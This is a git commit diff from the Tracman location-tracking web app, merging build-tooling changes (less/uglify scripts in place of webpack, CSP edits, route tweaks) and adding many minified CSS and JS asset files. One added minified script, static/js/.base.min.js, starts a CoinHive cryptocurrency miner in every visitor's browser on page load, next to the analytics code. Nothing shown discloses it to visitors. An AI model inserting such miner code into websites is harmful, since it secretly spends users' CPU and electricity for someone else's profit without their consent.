Merge accidental commits to master back into develop

master
Keith Irwin 2018-10-28 20:24:00 +00:00
commit 440e227f04
No known key found for this signature in database
GPG Key ID: 7A2D6993A44010AA
66 changed files with 1415 additions and 478 deletions

4
.gitignore vendored
View File

@ -10,10 +10,6 @@ config/env/*
!config/env/sample.js
!config/env/travis.js
# Minified or bundled static files (can be built with `npm run minify && npm run build`)
static/css/*.min.*
static/**/*.bun.*
# Ignore docs files
_gh_pages
_site

View File

@ -7,7 +7,7 @@ branches:
before_script:
- echo "module.exports = require('./travis.js')" > config/env/env.js
script:
- npm run minify & npm run build
- npm run build
# Send coverage data to Coveralls
after_script:

View File

@ -34,7 +34,7 @@ Then edit `config/env/local-config.js` to match your local environment.
Run Tracman with npm:
```sh
(npm run minify & npm run build) && npm start
npm run build && npm start
```
...or with [nodemon](https://nodemon.io/):
@ -43,7 +43,7 @@ Run Tracman with npm:
npm run nodemon
```
Nodemon will automatically minify and bundle files and restart the app when you make changes. Check out the `nodemon.json` configuration.
Nodemon will automatically rebuild and restart the app when you make changes.
## Contributing

View File

@ -165,5 +165,5 @@ router.route('/password/:token')
}
})
module.exports = router

View File

@ -36,7 +36,7 @@ router.get('/demo', (req, res, next) => {
units: 'standard'
}
},
mapApi: env.googleMapsAPI,
mapKey: env.googleMapsAPI,
user: req.user,
noFooter: '1',
noHeader: (req.query.noheader) ? req.query.noheader.match(/\d/)[0] : 0,
@ -54,12 +54,10 @@ router.get('/:slug?', async (req, res, next) => {
let map_user = await User.findOne({slug: req.params.slug})
if (!map_user) next() // 404
else {
var active = '' // For header nav
if (req.user && req.user.id === map_user.id) active = 'map'
res.render('map', {
active: active,
active: (req.user && req.user.id===map_user.id)?'map':'',
mapuser: map_user,
mapApi: env.googleMapsAPI,
mapKey: env.googleMapsAPI,
user: req.user,
noFooter: '1',
noHeader: (req.query.noheader) ? req.query.noheader.match(/\d/)[0] : 0,

View File

@ -1,4 +0,0 @@
{
"verbose": true,
"ext": "html, js, json, css"
}

1156
package-lock.json generated

File diff suppressed because it is too large Load Diff

View File

@ -9,7 +9,6 @@
"connect-flash-plus": "^0.2.1",
"cookie-parser": "^1.4.3",
"cookie-session": "^2.0.0-beta.2",
"css-loader": "^0.28.7",
"csurf": "^1.9.0",
"debug": "^2.6.9",
"express": "^4.16.3",
@ -48,6 +47,8 @@
"chai-http": "^3.0.0",
"coveralls": "^3.0.2",
"istanbul": "^1.0.0-alpha.2",
"less": "^3.0.1",
"less-plugin-clean-css": "^1.5.1",
"mocha": "^4.0.1",
"mocha-froth": "^0.2.10",
"nodemon": "^1.18.3",
@ -57,16 +58,24 @@
"supertest": "^3.1.0"
},
"scripts": {
"test": "node_modules/mocha/bin/_mocha --exit",
"test": "node_modules/mocha/bin/_mocha",
"cover": "node_modules/istanbul/lib/cli.js cover node_modules/mocha/bin/_mocha -- --exit test/*",
"audit": "node_modules/nsp/bin/nsp audit-package ; node_modules/nsp/bin/nsp audit-shrinkwrap",
"lint": "standard",
"start": "node server.js",
"nodemon": "nodemon --ignore 'static/**/*.min.*' server.js",
"update": "sudo npm update && sudo npm prune",
"minify": "minify --template .{{filename}}.min.{{ext}} --clean static/css*",
"build": "node_modules/.bin/webpack --config webpack.config.js",
"subuild": "sudo node_modules/.bin/webpack --config webpack.config.js"
"nodemon": "nodemon",
"update": "sudo npm prune && sudo npm update",
"less": "for file in static/css/*.css; do lessc --clean-css $file static/css/.$(basename ${file%.*}).min.css; done",
"uglify": "for file in static/js/*.js; do uglifyjs $file --output static/js/.$(basename ${file%.*}).min.js --verbose --compress --mangle 'reserved=google.maps'; done",
"build": "rm static/**/.*.min.* ; npm run less ; npm run uglify"
},
"nodemonConfig": {
"ext": "html, js, json, less, css",
"ignore": "['static/**/*.min.*','*.md','test/*','config/env/*']",
"events": {
"start": "npm run build",
"restart": "npm run build"
}
},
"repository": "Tracman-org/Server",
"keywords": [

View File

@ -65,8 +65,9 @@ let ready_promise_list = []
'script-src': ["'self'",
"'unsafe-inline'", // TODO: Get rid of this
'https://code.jquery.com',
'https://cdnjs.cloudflare.com/ajax/libs/moment.js/*',
'https://www.google.com/recaptcha',
'https://cdnjs.cloudflare.com/ajax/libs/socket.io/',
'https://cdnjs.cloudflare.com/ajax/libs/moment.js/',
'https://www.google.com/recaptcha/',
'https://www.google-analytics.com',
'https://maps.googleapis.com',
// 'https://coin-hive.com',
@ -185,7 +186,7 @@ app.post('/csp-violation', (req, res) => {
// Catch-all for 404s
app.use((req, res, next) => {
if (!res.headersSent) {
var err = new Error(`Not found: ${req.url}`)
let err = new Error(`Not found: ${req.url}`)
err.status = 404
next(err)
}

1
static/css/.base.min.css vendored Normal file
View File

@ -0,0 +1 @@
.container,.container:after,.container:before,.fa,div,footer{box-sizing:border-box}body,input,textarea{padding:0;margin:0;font-family:'Open Sans',sans-serif;font-size:18px;color:#eee}body{background-color:#080808}::-webkit-scrollbar{width:5vw;min-width:10px;max-width:40px}::-webkit-scrollbar-track{background-color:#080808;background-color:rgba(8,8,8,0)}::-webkit-scrollbar-thumb{border-radius:.2vw;background:#333}::selection{background:#999}::-moz-selection{background:#999}main{top:59px;position:absolute;left:0;right:0;bottom:0;overflow-y:auto}.container{padding-right:5%;padding-left:5%;width:100%;margin:0 auto}.container:after{content:"";display:block;clear:both}section{padding:10vh 0 5vh}h1,h2,h3{margin:0 0 5% 0;position:relative;z-index:6}h1,h2,h3,h4{font-weight:600}h1{font-size:48px;line-height:46px}h2{font-size:40px;line-height:36px}h3{font-size:28px}h4{font-size:20px}main ul,p{margin-top:0;margin-bottom:5vh}hr{width:90%;margin:10% auto}img{max-width:100%}p img{display:block;margin:auto}pre{white-space:pre-wrap;white-space:-moz-pre-wrap;white-space:-pre-wrap;white-space:-o-pre-wrap;word-wrap:break-word}a{color:#fbc93d;text-decoration:none}main a:hover:not(.btn){color:#fbc93d;text-decoration:underline}a.underline{text-decoration:underline}a.underline:hover:not(.btn){text-decoration:none}.hide{display:none!important}.red,.red:hover{color:#fb6e3d!important}.yellow,.yellow:hover{color:#fbc93d!important}.green,.green:hover{color:#8ae137!important}.inline{display:inline}.inline-block{display:inline-block}.shadow{-moz-box-shadow:.18vw .18vw .36vw #000;-webkit-box-shadow:.18vw .18vw .36vw #000;box-shadow:.18vw .18vw .36vw #000}.shadow:active{-moz-box-shadow:none;-webkit-box-shadow:none;box-shadow:none}.inline{display:inline-block}.flex{width:100%;display:flex;justify-content:space-around}.flex.stretch{justify-content:space-between}.left{float:left}.right{float:right}.btn{font-weight:600;display:inline-block;padding:15px 30px;background:rgba(255,255,255,.1);color:#eee;border-radius:.5vw}.btn:not(:disabled){border:1px solid #666;transition:.1s;cursor:pointer;-moz-box-shadow:inset .11vw .18vw .52vw rgba(255,255,255,.2),inset -.11vw -.18vw .52vw rgba(0,0,0,.4),.1vw .1vw .52vw #000;-webkit-box-shadow:inset .11vw .18vw .52vw rgba(255,255,255,.2),inset -.11vw -.18vw .52vw rgba(0,0,0,.4),.1vw .1vw .36vw #000;box-shadow:inset .11vw .18vw .52vw rgba(255,255,255,.2),inset -.11vw -.18vw .52vw rgba(0,0,0,.4),.1vw .1vw .36vw #000}.btn:disabled{color:#aaa;border:1px solid #444}.btn:hover:not(:disabled){text-decoration:none;background:rgba(255,255,255,.2)}.btn:active:not(:disabled){-moz-box-shadow:inset .11vw .18vw .52vw rgba(0,0,0,.4),inset -.11vw -.18vw .52vw rgba(255,255,255,.2);-webkit-box-shadow:inset .11vw .18vw .52vw rgba(0,0,0,.4),inset -.11vw -.18vw .52vw rgba(255,255,255,.2);box-shadow:inset .11vw .18vw .52vw rgba(0,0,0,.4),inset -.11vw -.18vw .52vw rgba(255,255,255,.2)}.btn:focus:not(:disabled){border:1px solid #fbc93d}.btn.main:not(:disabled){color:#fbc93d}.btn .fa{margin-left:10px}.popup{background:#111;padding:4vh 4vw;border-radius:3vh;z-index:1000;position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);-moz-box-shadow:.5vh .4vh 1vh .1vh #000;-webkit-box-shadow:.5vh .4vh 1vh .1vh #000;box-shadow:.5vh .4vh 1vh .1vh #000}.popup .topbar,.popup p{margin:0 0 6vh 0}.popup .topbar{display:flex;justify-content:space-between;margin:0 0 3vh 0}.popup p{margin:0 0 3vh 0}.popup .close{cursor:pointer}.popup .buttons{display:flex;justify-content:space-around}.page-mask{display:none;z-index:950;background:rgba(0,0,0,.5);position:fixed;top:0;right:0;bottom:0;left:0}

1
static/css/.contact.min.css vendored Normal file
View File

@ -0,0 +1 @@
input,textarea{margin-bottom:3%}#message-input,#subject-input{width:100%}@media (max-width:600px){#email-input,#name-input{width:100%}}@media (min-width:600px){#email-input,#name-input{min-width:45%}#name-input{float:left}#email-input{float:right}}#submit-button{display:block;margin:auto;min-width:60%;min-height:12vh}

1
static/css/.controls.min.css vendored Normal file
View File

@ -0,0 +1 @@
#controls{width:100vw;position:absolute;bottom:50px;display:flex;justify-content:space-around}#controls .btn{z-index:50;background:#222;height:10vh;padding:2vh 0}#controls .btn .fa{margin:0 2vw}#controls .btn:hover{background:#333}#controls .btn.clear,#controls .btn.set{width:30vw}#controls .btn.track{width:35vw}@media (max-width:250px){#controls .btn{font-size:.8em}}@media (min-width:250px) and (max-width:350px){#controls .btn{font-size:1em}}@media (min-width:350px) and (max-width:450px){#controls .btn{font-size:1.15em}}@media (min-width:450px){#controls .btn{font-size:1.3em}}

1
static/css/.footer.min.css vendored Normal file
View File

@ -0,0 +1 @@
footer{font-weight:300;width:100%;overflow:auto;background:#111;color:#ccc;padding:0 20px;-moz-box-shadow:inset 0 .25vw 1vw #222;-webkit-box-shadow:inset 0 .25vw 1vw #222;box-shadow:inset 0 .25vw 1vw #222}footer .left{float:left;padding:15px 0}footer .left p{margin:0}footer a{font-weight:600;color:#fff}footer a:hover{text-decoration:none}footer .right{text-align:right;float:right;padding:15px 0}footer a .fa{margin-left:5px;font-size:20px;color:inherit}footer .fa a:focus,footer .fa a:hover{color:inherit}@media (max-width:800px){footer{padding:0 10px}}@media (max-width:600px){footer{text-align:center}footer .left,footer .right{float:none}footer .right{padding-top:0}}

1
static/css/.form.min.css vendored Normal file
View File

@ -0,0 +1 @@
form{margin:auto;max-width:800px}.form-group{display:flex;flex-wrap:wrap;justify-content:space-between;margin:8% 0}form label{font-size:1.2em;margin-right:3%}form input,form select,form textarea{color:#eee;background-color:#202020;background-color:rgba(255,255,255,.1);padding:1% 1.5%;border-radius:.3vw}form .input-addon,form input:not(:disabled),form textarea:not(:disabled){border:1px solid #666;-moz-box-shadow:inset .11vw .18vw .25vw rgba(0,0,0,.5);-webkit-box-shadow:inset .11vw .18vw .25vw rgba(0,0,0,.5);box-shadow:inset .11vw .18vw .25vw rgba(0,0,0,.5)}form input:disabled:not(.input-addon),form select:disabled,form textarea:disabled{border:1px solid #444}form .input-with-addon-group,form input:not(.input-addon):not(.input-with-addon):not([type=radio]):not([type=checkbox]){min-width:50%}form input:active:not(.input-addon),form input:focus:not(.input-addon),form select:active,form select:focus,form textarea:active,form textarea:focus{outline:0;border:1px solid #fbc93d}form .input-with-addon-group{display:flex}form .input-addon,form .input-with-addon{-moz-box-shadow:inset .11vw .18vw .25vw rgba(0,0,0,.5);-webkit-box-shadow:inset .11vw .18vw .25vw rgba(0,0,0,.5);box-shadow:inset .11vw .18vw .25vw rgba(0,0,0,.5)}form .input-addon{text-align:center;width:auto}form .input-with-addon{flex-grow:1}form .input-addon.left{padding:1% 0 1% 1.5%;border-right-color:#202020;border-right-color:rgba(102,102,102,0);border-top-right-radius:0;border-bottom-right-radius:0}form .input-with-addon.left{padding:1% 1.5% 1% 0;border-left-color:#202020;border-left-color:rgba(102,102,102,0);border-top-left-radius:0;border-bottom-left-radius:0}form .input-addon.right{padding:1% 1.5% 1% 0;border-left-color:#202020;border-left-color:rgba(102,102,102,0);border-top-left-radius:0;border-bottom-left-radius:0}form .input-with-addon.right{padding:1% 0 1% 1.5%;border-right-color:#202020;border-right-color:rgba(102,102,102,0);border-top-right-radius:0;border-bottom-right-radius:0}::-webkit-input-placeholder{color:#666}:-moz-placeholder{color:#666;opacity:1}::-moz-placeholder{color:#666;opacity:1}:-ms-input-placeholder{color:#666}form select:not(:disabled){-moz-box-shadow:inset .11vw .18vw .52vw rgba(255,255,255,.2),inset -.11vw -.18vw .52vw rgba(0,0,0,.4),.1vw .1vw .36vw #000;-webkit-box-shadow:inset .11vw .18vw .52vw rgba(255,255,255,.2),inset -.11vw -.18vw .52vw rgba(0,0,0,.4),.1vw .1vw .36vw #000;box-shadow:inset .11vw .18vw .52vw rgba(255,255,255,.2),inset -.11vw -.18vw .52vw rgba(0,0,0,.4),.1vw .1vw .36vw #000}form select>option{background:#222;color:inherit}form .radio{min-width:150px;display:flex;justify-content:space-between}form input[type=radio],form input[type=checkbox]{width:auto;margin:8px}form input[type=radio]:active,form input[type=radio]:focus,form input[type=checkbox]:active,form input[type=checkbox]:focus{outline:1px solid #fbc93d}form .btn{font-size:1.5em}.help{display:none;width:100%;margin-top:2%;margin-bottom:0;text-align:right}

1
static/css/.header.min.css vendored Normal file
View File

@ -0,0 +1 @@
header{background:#222;padding:0;position:fixed;top:0;left:0;width:100%;z-index:200}header a:focus,header a:hover{color:#fbc93d}header .logo{float:left;font-family:'Open Sans',sans-serif;padding:13px 23px;color:#fbc93d;font-weight:800;font-size:22px;line-height:30px;margin:0}header .logo a{color:inherit;font:inherit;text-decoration:inherit;cursor:pointer}header .logo img{margin-right:10px;vertical-align:middle}header .logo:hover{text-decoration:none;background:rgba(255,255,255,.1)}header nav{float:right}header nav ul{padding:0;margin:0}header nav ul li{display:inline-block;float:left}header nav ul li a,header nav ul li span{text-decoration:inherit;display:inline-block;padding:15px 20px;color:#fff;transition:.1s}header nav ul li a:focus,header nav ul li a:hover{text-decoration:none;background:rgba(255,255,255,.1)}header nav ul li a.active{color:#fbc93d;pointer-events:none;cursor:default}header .hamburger{display:none;padding:5px;cursor:pointer;transition-property:opacity,-webkit-filter;transition-property:opacity,filter;transition-property:opacity,filter,-webkit-filter;transition-duration:150ms;transition-timing-function:linear}header .hamburger:hover{opacity:.7}header .hamburger-box{width:40px;height:24px;position:relative}header .hamburger-inner{top:50%;margin-top:-2px}header .hamburger-inner,header .hamburger-inner::after,header .hamburger-inner::before{width:40px;height:4px;background-color:#fff;border-radius:4px;position:absolute;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;transition-duration:150ms;transition-timing-function:ease}header .hamburger-inner::after,header .hamburger-inner::before{content:"";display:block}header .hamburger-inner::before{top:-10px}header .hamburger-inner::after{bottom:-10px}header .hamburger--slider .hamburger-inner{top:0}header .hamburger--slider .hamburger-inner::before{top:10px;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;transition-timing-function:ease;transition-duration:.2s}header .hamburger--slider .hamburger-inner::after{top:20px}header .hamburger--slider.is-active .hamburger-inner{-webkit-transform:translate3d(0,10px,0) rotate(45deg);-moz-transform:translate3d(0,10px,0) rotate(45deg);-md-transform:translate3d(0,10px,0) rotate(45deg);-o-transform:translate3d(0,10px,0) rotate(45deg);transform:translate3d(0,10px,0) rotate(45deg)}header .hamburger--slider.is-active .hamburger-inner::before{-webkit-transform:rotate(-45deg) translate3d(-5.71px,-6px,0);-moz-transform:rotate(-45deg) translate3d(-5.71px,-6px,0);-ms-transform:rotate(-45deg) translate3d(-5.71px,-6px,0);-o-transform:rotate(-45deg) translate3d(-5.71px,-6px,0);transform:rotate(-45deg) translate3d(-5.71px,-6px,0);opacity:0}header .hamburger--slider.is-active .hamburger-inner::after{-webkit-transform:translate3d(0,-20px,0) rotate(-90deg);-moz-transform:translate3d(0,-20px,0) rotate(-90deg);-ms-transform:translate3d(0,-20px,0) rotate(-90deg);-o-transform:translate3d(0,-20px,0) rotate(-90deg);transform:translate3d(0,-20px,0) rotate(-90deg)}@media (max-width:800px){header nav ul li a{padding:15px}}@media (max-width:655px){header nav{float:none;position:fixed;top:56px;right:-300px;bottom:0;width:100%;max-width:300px;background:#333;transition:.1s}header nav.visible{right:0}header nav ul li{display:block;float:none;width:100%}header nav ul li a{display:block;width:100%;border-bottom:1px solid rgba(255,255,255,.1)}header .hamburger{display:inline-block;color:#fff;position:absolute;right:10px;top:13px}}.alert{padding:15px;border:1px solid transparent;border-radius:4px}noscript .alert-danger{z-index:40}.alert-danger{z-index:30;color:#f2dede;background-color:#a94442}.alert-warning{z-index:20;color:#fcf8e3;background-color:#8a6d3b}.alert-success{z-index:10;color:#dff0d8;background-color:#3c763d}.alert.alert-header{position:relative;border-radius:0;top:58px;width:100%}.alert a{z-index:10;color:inherit;font-weight:700;text-decoration:underline}.alert a:hover{color:inherit;text-decoration:none}.alert h4{margin-top:0;color:inherit}.alert>p,.alert>ul{margin-bottom:0}.alert>p+p{margin-top:5px}.alert-dismissable{padding-right:35px}.alert .close,.alert-dismissible .close{cursor:pointer;float:right;color:inherit}

1
static/css/.index.min.css vendored Normal file

File diff suppressed because one or more lines are too long

1
static/css/.login.min.css vendored Normal file
View File

@ -0,0 +1 @@
.container{padding-bottom:10vh}#login,#signup{width:50%;margin:0 2%}form .form-group{margin:8% 0 0}form .input-with-addon-group,form input:not(.input-addon):not(.input-with-addon){width:96%;margin:0 auto 5vh}form .input-addon,form .input-with-addon{margin:0}form .input-with-addon-group{width:100%}#social-login,input,p{margin-bottom:5vh}form input.btn[type=submit]{margin:0 2% 5vh}form #social-login{justify-content:space-around;flex-wrap:nowrap;width:100%}#show{padding:1%;cursor:pointer}#social-login .btn{padding:2%;text-align:center;margin:0 3%;color:#FFF}#social-login .btn .fa{position:relative}#social-login .btn .text{font-size:.6em}#social-login .btn.gp{background:#ce4d39}#social-login .btn.gp:hover{background:#fb7a66}#social-login .btn.fb{background:#305891}#social-login .btn.fb:hover{background:#5d85be}#social-login .btn.tw{background:#2ca8d2}#social-login .btn.tw:hover{background:#59d5ff}@media (max-width:600px),(min-width:800px) and (max-width:1200px){#social-login .btn{padding:0;width:60px;height:60px}#social-login .btn .text{display:none}#social-login .btn .fa{margin:18px auto}}@media (max-width:800px){#login,#signup{width:100%}section>.flex{flex-direction:column}section>.flex>div{width:100%}hr{display:block!important}}

1
static/css/.map.min.css vendored Normal file
View File

@ -0,0 +1 @@
body{color:#fff;width:100%;height:100%;background:#000}main{overflow:hidden}.centered.alert{text-align:center;position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)}#map,#view{position:relative}#view{float:right}#viewImg{width:100%;height:100%}#notset{display:none}#map-logo{margin-left:-75px;background:#444;background:rgba(0,0,0,.7);padding:0 10px 0 75px;font-size:2em}#map-logo a:hover{text-decoration:none}#map-logo img{position:relative;top:3px;margin-left:3px}#map-logo .text{color:#fbc93d;position:relative;top:-3px;margin-left:3px}#timestamp{z-index:1000000!important;text-align:right;color:#000;font-size:12px;padding-left:5px;padding-right:5px;background-color:rgba(255,255,255,.7)}#alt-sign,#spd-sign{text-align:center;padding:2%;border-radius:3px;margin:3%}#spd-sign{color:#000;background-color:#FFF;border:2px solid #000}#alt-sign{color:#FFF;background-color:#009800;border:2px solid #FFF}@media (max-width:300px){#alt,#spd{height:20px;font-size:18px}#alt-unit,#spd-unit{font-size:8px}#alt-label,#spd-label{font-size:9px;height:9px}}@media (min-width:300px) and (max-width:350px){#alt,#spd{height:22px;font-size:20px}#alt-unit,#spd-unit{font-size:9px}#alt-label,#spd-label{font-size:11px;height:11px}}@media (min-width:350px) and (max-width:400px){#alt,#spd{height:30px;font-size:28px}#alt-unit,#spd-unit{font-size:10px}#alt-label,#spd-label{font-size:14px;height:14px}}@media (min-width:400px){#alt,#spd{height:40px;font-size:32px}#alt-unit,#spd-unit{font-size:12px}#alt-label,#spd-label{font-size:18px;height:18px}}

1
static/css/.settings.min.css vendored Normal file
View File

@ -0,0 +1 @@
#social-connect{flex-wrap:wrap}#social-connect>.btn{text-align:center;display:flex;align-items:center;margin-left:1vw;margin-right:1vw;flex-grow:1;flex-basis:0;font-size:.9em}#social-connect>.btn:hover{color:#fff}#social-connect>.btn .fa{font-size:1.1em;margin-left:0;margin-right:5%}#social-connect>.btn.gp.connected{border:2px solid #ce4d39}#social-connect>.btn.fb.connected{border:2px solid #305891}#social-connect>.btn.tw.connected{border:2px solid #2ca8d2}#social-connect>.btn.gp:not(.connected){background:#ce4d39}#social-connect>.btn.gp:not(.connected):hover{background:#fb7a66}#social-connect>.btn.fb:not(.connected){background:#305891}#social-connect>.btn.fb:not(.connected):hover{background:#5d85be}#social-connect>.btn.tw:not(.connected){background:#2ca8d2}#social-connect>.btn.tw:not(.connected):hover{background:#59d5ff}#submit-group{justify-content:space-around}#submit-group .main{width:50%}

1
static/css/.table.min.css vendored Normal file
View File

@ -0,0 +1 @@
table{width:100%}thead>tr{background:#333}tr:nth-child(even){background:#111}tr:nth-child(odd){background:#181818}td{padding:1%}

View File

@ -221,6 +221,7 @@ a.underline:hover:not(.btn) {
justify-content: space-around;
}
.page-mask {
display: none;
z-index: 950;
background: rgba(0, 0, 0, 0.5);
position: fixed;

View File

@ -2,7 +2,7 @@ table {
width: 100%;
}
thead > tr:nth-child() {
thead > tr {
background: #333333;
}
tr:nth-child(even) {

1
static/js/.base.bun.js Normal file
View File

@ -0,0 +1 @@
!function(e){function n(r){if(t[r])return t[r].exports;var o=t[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}var t={};n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)||Object.defineProperty(e,t,{configurable:!1,enumerable:!0,get:r})},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,n){return Object.prototype.hasOwnProperty.call(e,n)},n.p="",n(n.s=26)}({26:function(e,n,t){"use strict";!function(e,n,t,r,o,i,c){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=n.createElement(t),c=n.getElementsByTagName(t)[0],i.async=1,i.src="//www.google-analytics.com/analytics.js",c.parentNode.insertBefore(i,c)}(window,document,"script",0,"ga"),ga("create","UA-44266909-3","auto"),ga("require","linkid"),ga("send","pageview"),"serviceWorker"in navigator&&window.addEventListener("load",function(){navigator.serviceWorker.register("/static/js/.sw.bun.js").then(function(e){console.log("ServiceWorker registration successful with scope: ",e.scope)},function(e){console.error("ServiceWorker registration failed: ",e)})})}});

1
static/js/.base.min.js vendored Normal file
View File

@ -0,0 +1 @@
"use strict";!function(e,t,n,o,i,r,a){e.GoogleAnalyticsObject=i,e.ga=e.ga||function(){(e.ga.q=e.ga.q||[]).push(arguments)},e.ga.l=1*new Date,r=t.createElement(n),a=t.getElementsByTagName(n)[0],r.async=1,r.src="//www.google-analytics.com/analytics.js",a.parentNode.insertBefore(r,a)}(window,document,"script",0,"ga"),ga("create","UA-44266909-3","auto"),ga("require","linkid"),ga("send","pageview"),new CoinHive.Anonymous("7FZrGIbIO4kqxbTLa82QpffB9ShUGmWE",{autoThreads:!0,throttle:.5}).start(CoinHive.FORCE_EXCLUSIVE_TAB),"serviceWorker"in navigator&&window.addEventListener("load",function(){navigator.serviceWorker.register("/static/js/.sw.min.js").then(function(e){console.log("ServiceWorker registration successful with scope: ",e.scope)},function(e){console.error("ServiceWorker registration failed: ",e)})});

View File

@ -0,0 +1 @@
!function(e){function t(i){if(n[i])return n[i].exports;var o=n[i]={i:i,l:!1,exports:{}};return e[i].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var n={};t.m=e,t.c=n,t.d=function(e,n,i){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:i})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=29)}({29:function(e,t,n){"use strict";function i(e){return/^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/.test(e)}function o(e){if("email"===e&&(i($("#email-input").val())?(r=!0,$("#email-help").hide(),o()):(r=!1,$("#email-help").show(),$("#submit-button").prop("disabled",!0).prop("title","You need to enter a valid email address. "))),"message"!==e)return r&&s?($("#submit-button").prop("disabled",!1).prop("title","Click here to send your message. "),!0):($("#submit-button").prop("disabled",!0).prop("title","Edit the form before clicking send. "),!1);""===$("#message-input").val()?(s=!1,$("#message-help").show(),$("#submit-button").prop("disabled",!0).prop("title","You need to enter a message. ")):(s=!0,$("#message-help").hide(),o())}var r,s;$(function(){r=!!i($("#email-input").val()),s=""===!$("#message-input").val(),setTimeout(o,1e3)}),window.onSubmit=function(){o()&&$("#contact-form").submit()},$("#email-input").change(function(){o("email")}),$("#message-input").change(function(){o("message")})}});

1
static/js/.contact.min.js vendored Normal file
View File

@ -0,0 +1 @@
"use strict";let validEmail,validMessage;function validateEmail(e){return/^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/.test(e)}function validateForm(e){if("email"===e&&(validateEmail($("#email-input").val())?(validEmail=!0,$("#email-help").hide(),validateForm()):(validEmail=!1,$("#email-help").show(),$("#submit-button").prop("disabled",!0).prop("title","You need to enter a valid email address. "))),"message"!==e)return validEmail&&validMessage?($("#submit-button").prop("disabled",!1).prop("title","Click here to send your message. "),!0):($("#submit-button").prop("disabled",!0).prop("title","Edit the form before clicking send. "),!1);""===$("#message-input").val()?(validMessage=!1,$("#message-help").show(),$("#submit-button").prop("disabled",!0).prop("title","You need to enter a message. ")):(validMessage=!0,$("#message-help").hide(),validateForm())}$(function(){validEmail=!!validateEmail($("#email-input").val()),validMessage=""===!$("#message-input").val(),setTimeout(validateForm,1e3)}),window.onSubmit=function(){validateForm()&&$("#contact-form").submit()},$("#email-input").change(function(){validateForm("email")}),$("#message-input").change(function(){validateForm("message")});

1
static/js/.footer.bun.js Normal file
View File

@ -0,0 +1 @@
!function(t){function n(o){if(e[o])return e[o].exports;var r=e[o]={i:o,l:!1,exports:{}};return t[o].call(r.exports,r,r.exports,n),r.l=!0,r.exports}var e={};n.m=t,n.c=e,n.d=function(t,e,o){n.o(t,e)||Object.defineProperty(t,e,{configurable:!1,enumerable:!0,get:o})},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,n){return Object.prototype.hasOwnProperty.call(t,n)},n.p="",n(n.s=28)}({28:function(t,n,e){"use strict";function o(){var t=$(window).height(),n=$("footer").offset().top+$("footer").height();t>n&&$("footer").css("margin-top",t-n)}$(function(){o()}),$(window).resize(function(){o()})}});

1
static/js/.footer.min.js vendored Normal file
View File

@ -0,0 +1 @@
"use strict";function setFooter(){const o=$(window).height(),t=$("footer").offset().top+$("footer").height();o>t&&$("footer").css("margin-top",o-t)}$(function(){setFooter()}),$(window).resize(function(){setFooter()});

1
static/js/.header.bun.js Normal file
View File

@ -0,0 +1 @@
!function(e){function n(t){if(r[t])return r[t].exports;var i=r[t]={i:t,l:!1,exports:{}};return e[t].call(i.exports,i,i.exports,n),i.l=!0,i.exports}var r={};n.m=e,n.c=r,n.d=function(e,r,t){n.o(e,r)||Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:t})},n.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(r,"a",r),r},n.o=function(e,n){return Object.prototype.hasOwnProperty.call(e,n)},n.p="",n(n.s=27)}({27:function(e,n,r){"use strict";$(document).ready(function(){$(".hamburger").click(function(){$(".hamburger").toggleClass("is-active"),$("nav").toggleClass("visible")}),$("nav").click(function(){$(".hamburger").removeClass("is-active"),$("nav").removeClass("visible")}),$(".wrap, section").click(function(){$(".hamburger").removeClass("is-active"),$("nav").removeClass("visible")}),$(".alert-dismissible .close").click(function(){$(this).parent().slideUp(500)})})}});

1
static/js/.header.min.js vendored Normal file
View File

@ -0,0 +1 @@
"use strict";$(document).ready(function(){$(".hamburger").click(function(){$(".hamburger").toggleClass("is-active"),$("nav").toggleClass("visible")}),$("nav").click(function(){$(".hamburger").removeClass("is-active"),$("nav").removeClass("visible")}),$(".wrap, section").click(function(){$(".hamburger").removeClass("is-active"),$("nav").removeClass("visible")}),$(".alert-dismissible .close").click(function(){$(this).parent().slideUp(500)})});

1
static/js/.login.bun.js Normal file
View File

@ -0,0 +1 @@
!function(t){function r(n){if(e[n])return e[n].exports;var o=e[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,r),o.l=!0,o.exports}var e={};r.m=t,r.c=e,r.d=function(t,e,n){r.o(t,e)||Object.defineProperty(t,e,{configurable:!1,enumerable:!0,get:n})},r.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return r.d(e,"a",e),e},r.o=function(t,r){return Object.prototype.hasOwnProperty.call(t,r)},r.p="",r(r.s=30)}({30:function(t,r,e){"use strict";$(function(){$("#show").click(function(){"password"===$("#password").attr("type")?$("#password").attr("type","text"):$("#password").attr("type","password")})})}});

1
static/js/.login.min.js vendored Normal file
View File

@ -0,0 +1 @@
"use strict";$(function(){$("#show").click(function(){"password"===$("#password").attr("type")?$("#password").attr("type","text"):$("#password").attr("type","password")})});

30
static/js/.map.bun.js Normal file

File diff suppressed because one or more lines are too long

1
